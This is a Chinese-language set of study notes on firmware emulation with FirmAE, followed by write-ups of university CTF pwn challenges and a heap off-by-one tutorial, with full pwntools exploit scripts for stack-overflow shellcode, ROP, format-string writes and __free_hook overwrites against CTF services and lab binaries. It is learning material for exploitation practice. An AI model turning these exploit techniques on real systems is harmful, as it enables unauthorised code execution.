其实如果不确定是哪里报错了,可以拆看sh脚本,一点一点执行,看看
报错:
1234./psycopg/psycopg.h:35:10: fatal error: Python.h: No such file or directory #include <Python.h> ^~~~~~~~~~ compilation terminated.
解决方案:https://stackoverflow.com/questions/19843945/psycopg-python-h-no-such-file-or-directory
其实不解决貌似后面也能搭建起来,好像是一路畅通,但运行起来还是显示不了页面等,肯定有问题,所以还是要解决的.
1sudo apt-get install python3-dev
运行完后重新跑一遍install脚本,出现这个,一路输入y
1Reversed (or previously applied) patch detected! Assume -R? [n]
开始模拟
123./init.shwget https://github.com/pr0v3rbs/FirmAE/releases/download/v1.0/DIR-868L_fw_revB_2-05b02_eu_multi_20161117.zip
123456root@VM-0-9-ubuntu:/home/ubuntu/FirmAE# ./run.sh -r tenda DIR868L_B1_FW205WWb02.bin[*] DIR868L_B1_FW205WWb02.bin emulation start!!!Traceback (most recent call last): File "./sources/extractor/extractor.py", line 19, in <module> import binwalkModuleNotFoundError: No module named 'binwalk'
不能直接pip3 install binwalk! 也不能apt install binwalk!!!!
参考:https://www.secpulse.com/archives/201139.html
可以观察到它目录下有binwalk这个目录,cd进去后 python3 setup.py install
解压固件要用这个命令 (github上也没说啊!!!!)
1binwalk -Me xxxx.bin --run-as=root
然后再run就可以了(有时候环境比较复杂,不知道哪个开的有影响,采用重启大法! 重启后init,然后run)
由于模拟环境是在云服务器上上的内网网卡,公网无法直接访问,需要做个端口转发,
gost:https://github.com/ginuerzh/gost
gzip -d 解压
1gost -L=tcp://:2222/192.168.0.2:80
然后就可以访问了!!!
pwn入门-30-2023OUC校赛
拖了挺久才整理…不应该…以后要及时复盘. 本身题不是很难,不过有很多小细节,自己之前没弄懂,还是说有时间的话,多研究研究,以及之前的题,要进行一定的复盘.
恢复符号 比较恶心的一个点(其实也不恶心,就是自己之前没弄过),找到了一些文章,然后github有编译好的符号文件,可以直接ida导入就好了,回头有时间可以自己编译一下
https://github.com/maroueneboubakri/lscan
https://blog.csdn.net/Breeze_CAT/article/details/103788796
ida中shift+f5,然后把符号文件添加进去
还有就是一些地址的计算…头大,,(估计还是原理没完全搞明白)
pwn1 栈长度是0x68 = 104,但能读取256,很明显的栈溢出,可以覆盖返回地址,而且没有开NX保护,可以写shellcode,于是问题就变成了怎么跳到shellcode呢,或者怎么知道shellcode的地址,puts的话,遇到\x00才会停止所以可以前面填满,然后输出ebp这里的值,这里的值好像会有一些变化,所以可以不用太具体,前面一直加nop就好了,跳到nop然后走,然后shellcode
121d:0074│ 0xffffd4f4 ◂— 0x01e:0078│ ebp 0xffffd4f8 —▸ 0xffffd508 ◂— 0x0
ebp和esp差了0x90 esp和ecx(开始输出字符串那里)差了0x28,ebp输出的值和ebp差了0xbe,这样有点乱,画图会清晰很多
这样其实有问题,不太对,因为ebp那里的值其实是不确定的,但总是会往前指,或多或少,有时候正好指到shellcode开头或者偏移一点点,至于为什么呢…可以后面在研究,可以简单的跳到这个位置就好了,加一些nop(但是打远程的时候不知道为什么老不成功,可以加一点偏移,因为毕竟是往前跳)
有system有/bin/sh 能不能rop呢?
p32(addr-0xbe+0x2e+0x28)
换句话说,ebp这个位置的值如果正好位于 [ebp-0x68,ebp-len(shellcode)]之间的话,就正好到了nop,如果大的话,就需要我们来加一点值了
12345678910111213141516171819202122232425262728##!/usr/bin/env pythonfrom pwn import *#sh = process('./pwn1')sh = remote("101.43.247.245",9200)#systemaddr = 0x8048440#binsh = 0x80486C0#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x80488F2")#gdb.attach(sh)sh.recvuntil(b"say")sh.sendline(b"a"*0x68)#addr = u32(sh.recv(8)[4:8])sh.recv(0x68)addr = u32(sh.recv(4))shellcode = asm(shellcraft.sh())nop = asm(''' nop ''')shellcode = nop*30+shellcodepayload = shellcode.ljust(0x68, b'b') + p32(0)+p32(addr+0xbe-0x78+0x10-4)print(hex(addr))print(hex(addr+0xbe-0x90+0x28+4))sh.sendline(payload)sh.interactive()
12345678910111213141516171819202122232425262728##!/usr/bin/env pythonfrom pwn import *sh = process('./pwn01')#sh = remote("101.43.247.245",9200)#systemaddr = 0x8048440#binsh = 0x80486C0#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x80488F2")#gdb.attach(sh)sh.recvuntil(b"say")sh.sendline(b"a"*0x68)#addr = u32(sh.recv(8)[4:8])sh.recv(0x68)addr = u32(sh.recv(4))print(hex(addr))#pause()shellcode = asm(shellcraft.sh())nop = asm(''' nop ''')shellcode = nop*40+shellcodepayload = shellcode.ljust(0x68,b'b') + p32(0)+p32(addr+0x2e+0x28-4)sh.sendline(payload)sh.interactive()
还遇到很玄学的问题,nop加多了,怎么也不行,
感觉像是后面的指令并没有识别出来 不多,好像是没传送完全?
pwn2 加了nx保护,用rop吧,ret2syscall, 这下不用算哪个比较恶心的shellcode的位置了,用ret2syscall是因为没有找到system函数..
execve(“/bin/sh”,NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
没有 /bin/sh,那就写入到栈后面,反正需要栈的地址,计算一下就可以了
1234567891011120x080b8eb6 : pop eax ; ret0x080481c9 : pop ebx ; ret0x080df8bd : pop ecx ; ret0x0806f83b : pop edx ; ret0x0806d443 : int 0x80============================================================0x08048798 : leave ; ret
写一下payload
栈是104+4(ebp) = 108, 溢出了 256-108 = 148字节
1234binsh = addr + 10*4payload= b"a"*0x68 + b"b"*4 + p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(binsh)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80)
泄露栈地址 puts函数遇到\n才会停止,所以可以以此来泄露栈上残留的值来泄露地址,其实不一定要泄露这个,哪个都行, 不过有一个问题就是,这个值会是固定的嘛…
不是固定的….可以换一个泄露,但是如果覆盖了ebp的话,是不是会影响栈桢呢….
溢出长度是不够的,需要栈迁移
当时好像想的是先把/bin/sh写到一个地方…
这是做的时候写的exp,是有概率拿到shell的…
12345678910111213141516171819202122232425262728293031323334353637383940##!/usr/bin/env pythonfrom pwn import *#sh = process('./pwn1')sh = remote("101.43.247.245",9201)#systemaddr = 0x8048440#binsh = 0x80486C0#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x80488F2")#gdb.attach(sh)# 泄露栈地址sh.recvuntil(b"say")sh.sendline(b"a"*0x68)#addr = u32(sh.recv(8)[4:8])sh.recv(0x68)addr = u32(sh.recv(4))pop_eax = 0x080b8eb6pop_ebx = 0x080481c9pop_ecx = 0x080df8bdpop_edx = 0x0806f83bint80 = 0x0806d443leaveret = 0x08048798binsh = addr + 0xae-0x78+0x10-4 + 11*4-4payload= p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(binsh)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80) + b"/bin/sh\x00"#payload= b"/bin/sh\x00"*0x8payload = payload.ljust(0x68,b"a")+p32(addr+0xae-0x78+0x10-4)+p32(leaveret)#payload = payload.ljust(0x68,b"a") +p32(0)+p32(addr+0xbe-0x78+0x10-4)print(hex(addr))print(hex(addr+0xae-0x78+0x10-4))sh.sendline(payload)sh.interactive()
查看符号 readelf objdump?
pwn3恶心的过滤…怎么把过滤应用到这了,
主要是 一个常用的指令, push xxx, 转成字节码会有\x68,正好命中了规则,草!
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283##!/usr/bin/env pythonfrom pwn import *#context(os='linux',arch="i386")#sh = process('./pwn3')sh = remote("101.43.247.245",9202)#systemaddr = 0x8048440#binsh = 0x80486C0#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))context.arch= 'x86'context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x8048967")#gdb.attach(sh)sh.recvuntil(b"say")'''sh.sendline(b"a"*0x60+p32(0)+p32(0x99999)+b"d"*8)#sh.sendline(b"a"*0x70)#addr = u32(sh.recv(8)[4:8])sh.recv(0x70)addr = u32(sh.recv(4))print(hex(addr))print(hex(addr+0xbe-0x90+0x28+4))'''pop_eax = 0x080b8f16pop_ebx = 0x080481c9pop_ecx = 0x080df91dpop_edx = 0x0806f89bint80 = 0x0806d4a3leaveret = 0x08048798bssaddr = 0x080ECDBBjmpesp = 0x080dea1f#binsh = addr + 0xae-0x78+0x10-4 + 11*4-4str = ""#shellcode = asm("push 0x0;")shellcode = asm(''' push 0 mov eax,0x7478742e push eax mov eax,0x67616c66 push eax mov ebx,esp xor ecx,ecx #0 xor edx,edx #0 mov eax,0x5 #调用号 int 0x80 mov eax,0x3; mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag” mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件 mov edx,0x120; #对应字节数 int 0x80; mov eax,0x4; # eax = sys_write mov ebx,0x1; # ebx = unsigned int fd = 1 int 0x80; ''')#shellcode = b"\x66\x6c\x61\x67" + shellcodeprint(shellcode)#shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')#shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')#shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')payload1 = p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80) + b"cat$flag.txt\x00"#payload1 = p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80)#payload2 = p32(pop_eax)+p32(0x5)+p32(pop_ebx)+p32(bssaddr)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80)#payload2 += p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(3)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80)#payload2 += p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80)#payload = shellcode#print(payload)#print("length")#print(len(payload))#shellcode = b""payload = shellcode.ljust(0x60,b"a") + p32(0)+p32(0xaaaaa) + p64(0) + p32(0xaaa) + p32(jmpesp) + asm("sub esp,0x78;jmp esp")#payload = b"a"*0x60 + p32(0)+p32(0xaaaaa) + p64(0) + p32(0xaaa) + p32(jmpesp) + asm("sub esp,0x78;jmp esp")#payload = b"a"*0x60 + p32(0)+p32(0x9999)sh.sendline(payload)sh.recv(0x120)sh.interactive()
pwn4 0x68 ebp ret 的栈空间 输入0x80 24字节溢出, 减去4字节ebp的话,还有20字节
只开了NX,那就还是rop吧,这个有system和/bin/sh、或者直接后门函数..
1234567891011121314151617181920plt 0x8048440 system 0x80486C0 binsh.text:080485BD public shell.text:080485BD shell proc near.text:080485BD ; __unwind {.text:080485BD push ebp.text:080485BE mov ebp, esp.text:080485C0 sub esp, 8.text:080485C3 sub esp, 0Ch.text:080485C6 push offset command ; "/bin/sh".text:080485CB call _system.text:080485D0 add esp, 10h.text:080485D3 nop.text:080485D4 leave.text:080485D5 retn.text:080485D5 ; } // starts at 80485BD.text:080485D5 shell endp.text:080485D5
怎么看system的地址呢?,就是push的值不一样,但怎么确定哪个是system呢? (这个是动态链接了!)
exp
123456789from pwn import *#sh = process('./pwn04')sh = remote("101.43.247.245",9203)systemaddr = 0x8048440binsh = 0x80486C0sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))# sh.sendline(b'A' * (0x68+4) + p32(0x80485BD))sh.interactive()
pwn5主要是要理解清楚逻辑和内存代码布局就可以了
123456789101112131415161718192021222324252627signed int sub_80488CE(){ int v0; // eax char v2; // [esp-Ch] [ebp-24h] int v3; // [esp+Ch] [ebp-Ch] sub_804887C(); v3 = sub_8059F50(48); sub_8048987(v3, 48); v0 = sub_804DBD0(v3 + 16) + 5; if ( v0 == 8 ) { sub_8048987(v3, 48); } else if ( v0 > 8 ) { if ( v0 == 10 ) return 0; if ( v0 == 85145 ) sub_804F700("/bin/sh"); } else if ( v0 == 6 ) { sub_804FA00("where is shell", v2); } return 1;}
12345678910111213141516from pwn import *#sh = process('./pwn5')sh = remote("101.43.247.245",9204)systemaddr = 0x8048440binsh = 0x80486C0context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x008048987")#payload = p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+p32(0x14c94000)payload = "1234123412341234" + "85140"sh.sendline(payload)sh.interactive()
pwn6看看又改了啥…
123456789101112131415161718192021222324252627signed int sub_80488CE(){ int v0; // eax char v2; // [esp-Ch] [ebp-24h] char *nptr; // [esp+Ch] [ebp-Ch] sub_804887C(); nptr = (char *)sub_8059F40(48); sub_8048980(nptr, 48); v0 = atoi_0(nptr); if ( v0 == 2 ) { sub_8048980(nptr, 48); } else if ( v0 > 2 ) { if ( v0 == 3 ) return 0; if ( v0 == 12345 ) sub_804F6F0("/bin/sh"); } else if ( v0 == 1 ) { sub_804F9F0("where is shell", v2); } return 1;}
输入12345即可
root@hecs-149507:~/haida# nc 101.43.247.245 9205
12345
pwn7123456789int sub_89588B7(){ char s; // [esp+0h] [ebp-68h] sub_895F980("please input the way you want go"); __libc_read(0, &s, 96); _IO_puts(&s); return sub_80488E7(&s, 0);}
一个char为什么能占据那么多栈空间???
应该是有很多路径,可以根据/bin/sh回溯吧?
是的…一点点回溯就可以找到
845542A -> 816c3f7->8091787->805ac47 ->804d177->8049ae7->8048cd7->8048977->80488e7->main
p32(87)+p32(83)+p32(68)+p32(87)+p32(65)+p32(65)+p32(87)+p32(68)+p32(87)
878368876565876887
WSDWAAWDW(这个就是答案)
为什么87变成0x38了 56了
0x80488fd movzx eax, byte ptr [eax]
pwn8格式化字符串,修改内存值即可
修改0x80EBF9C处的值为28
1234567891011121314int sub_80488CE(){ int result; // eax char v1; // [esp+0h] [ebp-68h] sub_804F9B0("please input what you want say"); __libc_read(0, &v1, 96); sub_804F9B0(&v1); if ( dword_80EBF9C == 28 ) result = sub_804F6B0("/bin/sh"); else result = sub_804F9B0("the key is %d %d"); return result;}
123456789101112131415from pwn import *payload = b"%28d" + b"A" * (0x90 - len(b"%28d")) + p32(0x80EBF9C)sh = remote("101.43.247.245",9207)context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x008048987")#payload = b"%28d" + b"A" * (0x90 - len(b"%28d")) + p32(0x80EBF9C)payload = fmtstr_payload(4,{0x80EBF9C:28})sh.sendline(payload)sh.interactive()
pwn91234567891011int sub_8048945(){ char v1; // [esp+0h] [ebp-1B8h] char v2; // [esp+150h] [ebp-68h] _IO_puts("please input your username"); __libc_read(0, &v2, 32); _IO_puts("please input your passwd"); __libc_read(0, &v1, 335); return sub_80488E7(&v1);}
不存在溢出
后面函数是往一个地址写数据..有什么用呢?
有后们函数,所以应该是要覆盖字符串,或者说字符串复制
0x08048948 覆盖为 0x80488CE(system)
第一次写入要覆盖的地址,第二次覆盖
问题回头有时间可以自己编译一下符号
这样其实有问题,不太对,因为ebp那里的值其实是不确定的,但总是会往前指,或多或少,有时候正好指到shellcode开头或者偏移一点点,至于为什么呢…可以后面在研究
哪个都行, 不过有一个问题就是,这个值会是固定的嘛…
plt的过程再熟悉下
pwn入门-29-off—by-one
总的感觉就是通过off by null来修改size区域,然后造成堆块合并,使得堆块重叠,可以修改可控堆块,
主要看了一个这里面的例子:https://www.jianshu.com/p/8eb55c40ec4a 还有权威指南的pwn书
https://github.com/shellphish/how2heap/blob/master/glibc_2.23/poison_null_byte.c how2heap的例子也不错
demo
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <unistd.h>#include <assert.h>char *ptr[0x100] = {0};void menu(){ puts("1.malloc"); puts("2.edit"); puts("3.show"); puts("4.free"); puts("5.exit");}void my_malloc(){ int index,size; puts("index:"); scanf("%d",&index); puts("size:"); scanf("%d",&size); ptr[index] = malloc(size); puts("content:"); read(0,ptr[index],size);}void my_edit(){ int index,size; puts("index:"); scanf("%d",&index); puts("size:"); scanf("%d",&size); puts("content:"); read(0,ptr[index],size);}void my_free(){ int index; puts("index:"); scanf("%d",&index); free(ptr[index]);}void my_show(){ int index; puts("index:"); scanf("%d",&index); puts(ptr[index]);}int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); puts("welcome"); while(1){ int op; menu(); scanf("%d",&op); if(op == 1) my_malloc(); else if(op == 2) my_edit(); else if(op == 3) my_show(); else if(op == 4) my_free(); else if(op == 5) exit(0); else puts("invalid!"); } return 0;}
利用1:扩展被释放块gcc -g demo.c demo1
patchelf –set-interpreter ~/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 ./demo1
patchelf –set-rpath /root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ ./demo1
覆盖前
覆盖后,可以修改后面的bin的内容了,然后再申请后面bin,就可以申请到free_hook等任意地址,进行修改
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859from pwn import *context.log_level = 'debug'p = process('./demo1')libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def cmd(a): p.recvuntil('5.exit') p.sendline(str(a))def alloc(index,size,content): cmd(1) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def edit(index,size,content): cmd(2) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def show(index): cmd(3) p.recvuntil('index:\n') p.sendline(str(index))def free(index): cmd(4) p.recvuntil('index:\n') p.sendline(str(index))alloc(0,0x18,b'a')alloc(1,0x418,b'b')alloc(2,0x28,b'c')free(1)edit(0,0x19,p64(0)*3+p8(0x51))alloc(3,0x448,b'\xa0') # 0x440 0x448都可以,free(2)show(3)leak_libc = u64(p.recv(6).ljust(8,b"\x00"))libc_base = leak_libc - 0x3ebca0 # main+96和libc起始位置偏移free_hook = libc_base + libc.symbols['__free_hook']system = libc_base + libc.symbols['system']#print(hex(leak_libc))edit(3,0x448,b'a'*0x418+p64(0x31)+p64(free_hook))alloc(4,0x28,b'/bin/sh')alloc(5,0x28,p64(system))free(4)p.interactive()#pause()
利用2: 扩展已分配块
感觉和1差不多其实,就是换一下顺序
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859from pwn import *context.log_level = 'debug'p = process('./demo1')libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def cmd(a): p.recvuntil('5.exit') p.sendline(str(a))def alloc(index,size,content): cmd(1) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def edit(index,size,content): cmd(2) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def show(index): cmd(3) p.recvuntil('index:\n') p.sendline(str(index))def free(index): cmd(4) p.recvuntil('index:\n') p.sendline(str(index))alloc(0,0x18,b'a')alloc(1,0x418,b'b')alloc(2,0x28,b'c')alloc(3,0x28,b'd')edit(0,0x19,p64(0)*3+p8(0x51))free(1)alloc(4,0x448,b'\xa0')show(4)leak_libc = u64(p.recv(6).ljust(8,b"\x00"))libc_base = leak_libc - 0x3ebca0 # main+96和libc起始位置偏移free_hook = libc_base + libc.symbols['__free_hook']system = libc_base + libc.symbols['system']print(hex(leak_libc))free(2)edit(4,0x448,b'a'*0x418+p64(0x31)+p64(free_hook))alloc(5,0x28,b'/bin/sh')alloc(6,0x28,p64(system))free(5)p.interactive()#pause()
利用3: 收缩被释放块 poison null byte权威指南里面的图,还不错
博主的图,也不错,不过最后好像少了一块,进行了补全
free 5之前
free之后tcachebin 0x50多了一项,此时利用edit修改fd,就可以实现任意地址写
修改fd后,此时就可以修改hook指针getshell
exp
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273from pwn import *context.log_level = 'debug'p = process('./demo')libc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def cmd(a): p.recvuntil('5.exit') p.sendline(str(a))def alloc(index,size,content): cmd(1) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def edit(index,size,content): cmd(2) p.recvuntil('index') p.sendline(str(index)) p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(content)def show(index): cmd(3) p.recvuntil('index:\n') p.sendline(str(index))def free(index): cmd(4) p.recvuntil('index:\n') p.sendline(str(index))alloc(1,0x18,b'a')alloc(2,0x100,b'b')alloc(3,0x80,b'c')alloc(4,0x10,b'd')edit(2,0x100,b'\x00' * 0xf0 + p64(0x100))#这里写一个0x100是为了绕过检查,因为之前的0x111被改成了0x100#ptmalloc会根据nextchunk的prev_size字段检查是否大小匹配。这里写入0x100的地方正好是利用off-by-null漏洞后nextchunk的prev_size字段。for i in range(9,16): alloc(i,0x108,b'p')for i in range(9,16): free(i)free(2)edit(1,0x19,b'A' * 0x18 + p8(0))alloc(2,0x80,'d')alloc(5,0x40,'e')for i in range(17,24): alloc(i,0x88,b'p')for i in range(17,24): free(i)free(2)free(3)alloc(6,0xa0,b'\xa0')free(5)show(6)leak_libc = u64(p.recv(6).ljust(8,b'\x00'))print(hex(leak_libc))libc_base = leak_libc - 0x00007f74b3a5cca0 + 0x7f74b3671000 - 0x200free_hook = libc_base + libc.symbols['__free_hook']system = libc_base + libc.symbols['system']edit(6,0xa0,p8(0) * 0x80 + p64(0x90) + p64(0x50) + p64(free_hook))pause()alloc(7,0x40,b'/bin/sh\x00')alloc(8,0x40,p64(system))free(7)#log.success(hex(libc_base))#gdb.attach(p)#pause()p.interactive()
问题libc.symbols 覆盖的到底是什么呢?
pwn入门-28-高级网络攻防考试一题
在考试的时候没有做出来,考完后和老曹交流学会了,主要卡住的点,是走错了方向,一直在考虑堆的漏洞怎么利用,其实不是堆的漏洞,怎么说呢,其实是一个知识点的事,init_array这个节,会进行一些初始化操作,不知道确实很难搞…不过其实也不是没有办法,其实可以进行一些全局搜索之类的,寻找线索.
题目文件: 本链接加attachments.tar.gz
解题思路寻找对应函数123456789101112131415161718192021222324252627282930313233__int64 __fastcall main(const char *a1, char **a2, char **a3){ int v4; // [rsp+14h] [rbp-Ch] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); ((void (__fastcall *)(const char *, char **, char **))sub_14A9)(a1, a2, a3); while ( 1 ) { ((void (__fastcall *)(const char *))sub_1531)(a1); printf("choice: "); a1 = "%d"; __isoc99_scanf("%d", &v4); if ( v4 == 4 ) break; if ( v4 <= 0 ) exit(1); ((void (*)(const char *, ...))((char *)*(&off_5000 + v4 - 1) + 0xDEADBEEFLL))("%d", &v4); } return 0LL;}unsigned __int64 sub_1531(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); puts("1. add"); puts("2. delete"); puts("3. edit"); puts("4. exit"); return v1 - __readfsqword(0x28u);}
一上来看sub_1531是能看到菜单的,但是很明显,下面没有对应的函数,就感到很奇怪了,(其实下次可以直接在ida的函数列表里找,如果不是花指令的话,花指令的话,还是直接看汇编,看有没有红色的代码)
当时是在gdb中动态调试找到的对应的函数
同时发现了一个gift函数,用来泄露地址的,还发现了一个后门函数,可以直接getshell,于是现在的问题就变成了怎么执行这个后门函数呢? 也就是怎么劫持控制流, 覆盖返回地址 or 利用堆进行任意内存读写, 似乎 都不太行…于是就卡住了
1234567891011121314151617181920unsigned __int64 sub_1206(){ void *v0; // rax unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("Ok, you find the gift"); v0 = malloc(0LL); printf("%#lx, %#lx, %#lx\n", sub_1206, &write, v0); return v2 - __readfsqword(0x28u);}unsigned __int64 sub_11C9(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); system("/bin/sh"); return v1 - __readfsqword(0x28u);}
柳暗花明差一村12345 ((void (*)(const char *, ...))((char *)*(&off_5000 + v4 - 1) + 0xDEADBEEFLL))("%d", &v4);.data:0000000000005000 off_5000 dq 0FFFFFFFF21525389h ; DATA XREF: main+A0↑o.data:0000000000005008 dq 0FFFFFFFF21525477h.data:0000000000005010 dq 0FFFFFFFF21525518h
当时在main函数中,看到了这个,也理解了off_5000是data节中的数据,利用这里的数据进行一些运算,然后就到达了函数地址,例如0位置,运算后就是add函数的位置,但是 gift和后门函数,都在内存中没有这个偏移,堆虽然可以写,但是不知道堆的地址呀,但gift可以泄露,但gift怎么调用呢?? 于是就卡死了………
其实这里可以尝试爆破的…(我觉得),后面有时间可以试试
于是就在这里卡死了…就像开头提的一样,其实在init_array中有初始化这个操作,保存了gift对应的地址,怎么说呢…应该让自己多学一点工具,辅助自己去探索可能的路径
正解 elf执行时会先走这个init,这里面有个sub_144E,就是它把gift函数加载进去了,能够看到,它加载到的地址的偏移就是0x29C0
&0xFFFFFFFFFFFFF000LL是干了啥呢? 与之后就是程序0x5000的位置,是为了得到这个位置,然后+0x29C0就是存储gift的地方
不过这里为啥是0xDEADBF61LL,这是什么逻辑,后面在main中要+0xDEADBEEFLL,
所以0x1278 - 0xDEADBF61 +0xDEADBEEF = 0x1206,就是gift的地址,所以这个地址应该是这个原因,因为要考虑到pie,所以要用一个函数或者变量的地址,这里用了0x1278的, 和它差多少呢? 就是 0x1206 - 0xDEADBEEF-0x1278,也就是-0xdeadbf61
12345678910111213141516.init_array:0000000000003D60 ;org 3D60h.init_array:0000000000003D60 off_3D60 dq offset sub_11C0 ; DATA XREF: LOAD:0000000000000168↑o.init_array:0000000000003D60 ; LOAD:00000000000002F0↑o.init_array:0000000000003D68 dq offset sub_144E.init_array:0000000000003D68 _init_array ends.init_array:0000000000003D68 unsigned __int64 sub_144E(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); *(_QWORD *)(((unsigned __int64)&unk_5018 & 0xFFFFFFFFFFFFF000LL) + 0x29C0) = (char *)sub_1278 - 0xDEADBF61LL; return v1 - __readfsqword(0x28u);}
所以就可以先通过调用gift来进行泄露地址,0x29C0 = 10688 , 10688/8 = 1336,这是因为指针的偏移,按照char类型来算????? 是吗?
因为在main中还有个-1,所以是1337,输入1337就可以调用gift了!
最终步骤123choice: 1337Ok, you find the gift0x5557ed770206, 0x7f1094c79d80, 0x5557eea752a0
之前取这些数据的时候老出问题…….
先把前面的数据接收了,然后再接收三个值,怎么接收呢,可以按照长度来,但是感觉比较der,还是看老曹的..recvline之后strip去掉最后的空格,然后decode解码,然后通过”, “分割,这样gift就成了数组, 0 1 2 对应着三个值,就可以了!
123456gift = (p.recvline().strip()).decode().split(', ')pie = int(gift[0], 16) - 0x1206#print(hex(pie))leak_heap_addr = int(gift[2], 16)#print(hex(leak_heap_addr))vul_addr = leak_heap_addr + 0x20
然后把后门地址写入堆地址,此时也有堆的地址了,再次利用main函数中的调用逻辑,调用就可以了
123456789backdoor_addr = pie + 0x11c9p.recvuntil('choice: ')p.sendline('1')p.recvuntil('content: ')p.send(p64(backdoor_addr - 0xdeadbeef))trigger_input = (vul_addr - pie - 0x5000) // 8 + 1
//是整除的意思
exp123456789101112131415161718192021222324252627282930313233343536from pwn import *elf = "./pwn"context.log_level= "debug"p = process(elf)p =remote("xxxxx", xxx)context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)p.sendlineafter('choice: ', str(1337))p.recvuntil('Ok, you find the gift\n')gift = (p.recvline().strip()).decode().split(', ')pie = int(gift[0], 16) - 0x1206#print(hex(pie))leak_heap_addr = int(gift[2], 16)#print(hex(leak_heap_addr))vul_addr = leak_heap_addr + 0x20backdoor_addr = pie + 0x11c9p.recvuntil('choice: ')p.sendline('1')p.recvuntil('content: ')p.send(p64(backdoor_addr - 0xdeadbeef))trigger_input = (vul_addr - pie - 0x5000) // 8 + 1p.recvuntil('choice: ')p.sendline(str(trigger_input))p.interactive()
待解决这个题如果正向写代码,要怎么写呢?
ida一开始进去不是main而是…这里是否…
CVE-2018-5767漏洞复现的关键问题
和恒哥进行的复现
arm架构的rop 和x86的架构的区别还是挺大的,
1.pop {r4,r5,r6,fp,pc}会弹出5个值, 3个aaaa给前三个,然后r12-3给fp, wait+24,也就是pop {r3,pc}给pc
2.执行pop {r3,pc}, 把puts传给 r3, 然后 mov r0,sp;blx r3给pc,
